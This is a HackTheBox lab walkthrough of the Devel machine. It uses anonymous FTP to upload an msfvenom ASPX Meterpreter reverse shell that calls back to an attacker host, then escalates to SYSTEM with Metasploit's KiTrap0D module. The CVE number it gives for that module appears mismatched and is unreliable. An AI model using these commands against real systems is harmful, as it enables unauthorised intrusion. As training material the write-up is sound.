Devel - HackTheBox Easy Windows via Anonymous FTP RCE

Machine - Easy Windows - Devel

IP 10.10.10.5

Contents

• Tools
• Enumeration
• Exploitation
• Privilege Escalation
• Lessons Learned

Tools

• Nmap
• FTP client
• Metasploit
• msfvenom

Enumeration

Run an Nmap scan to identify open services:

nmap -A 10.10.10.5

Results show:

• Port 21 (FTP) — Microsoft FTP Service, anonymous login allowed
• Port 80 (HTTP) — Microsoft IIS web server

The critical finding is anonymous FTP access. When anonymous login is enabled, anyone can connect without credentials and browse (and potentially upload to) the FTP directory.

Connect to the FTP server and explore:

ftp 10.10.10.5
# Login: anonymous
# Password: (empty or any email)
ls

The FTP root maps directly to the web server’s document root (C:\inetpub\wwwroot). This means any file uploaded via FTP is immediately accessible through the web server — a dangerous misconfiguration.

Exploitation

Since we can upload files to a web-accessible directory, we can upload a webshell. Generate an ASPX Meterpreter payload:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.x LPORT=4444 -f aspx > shell.aspx

Upload it via FTP:

ftp 10.10.10.5
put shell.aspx

Set up a listener in Metasploit and trigger the shell by visiting the uploaded file in a browser:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.14.x
exploit

When the web server processes shell.aspx, we receive a Meterpreter session as IIS APPPOOL\Web — the IIS application pool user.

Privilege Escalation

The IIS application pool user is a low-privilege account. We need SYSTEM access to read the root flag.

Use the Metasploit local_exploit_suggester module to identify potential privilege escalation vectors:

run post/multi/recon/local_exploit_suggester

The module suggests several exploits. After testing, exploit/windows/local/ms10_015_kitrap0d succeeds. This exploit targets a vulnerability in the Windows kernel (CVE-2010-2743) that allows a low-privilege user to escalate to SYSTEM.

use exploit/windows/local/ms10_015_kitrap0d
set SESSION 1
exploit

We now have a SYSTEM shell. Retrieve both flags:

type C:\Users\babis\Desktop\user.txt.txt
type C:\Users\Administrator\Desktop\root.txt.txt

Lessons Learned

• Anonymous FTP is a critical misconfiguration — Allowing unauthenticated uploads to a web-accessible directory gives attackers an easy webshell delivery mechanism. Always disable anonymous FTP unless explicitly required.
• FTP-to-web overlap — When the FTP root and web root are the same directory, any uploaded file becomes executable. Separate these paths or restrict FTP uploads to non-executable file types.
• Local exploit suggester — Metasploit’s local_exploit_suggester is a fast way to find privilege escalation paths on Windows. It checks kernel version and installed patches against a database of known exploits.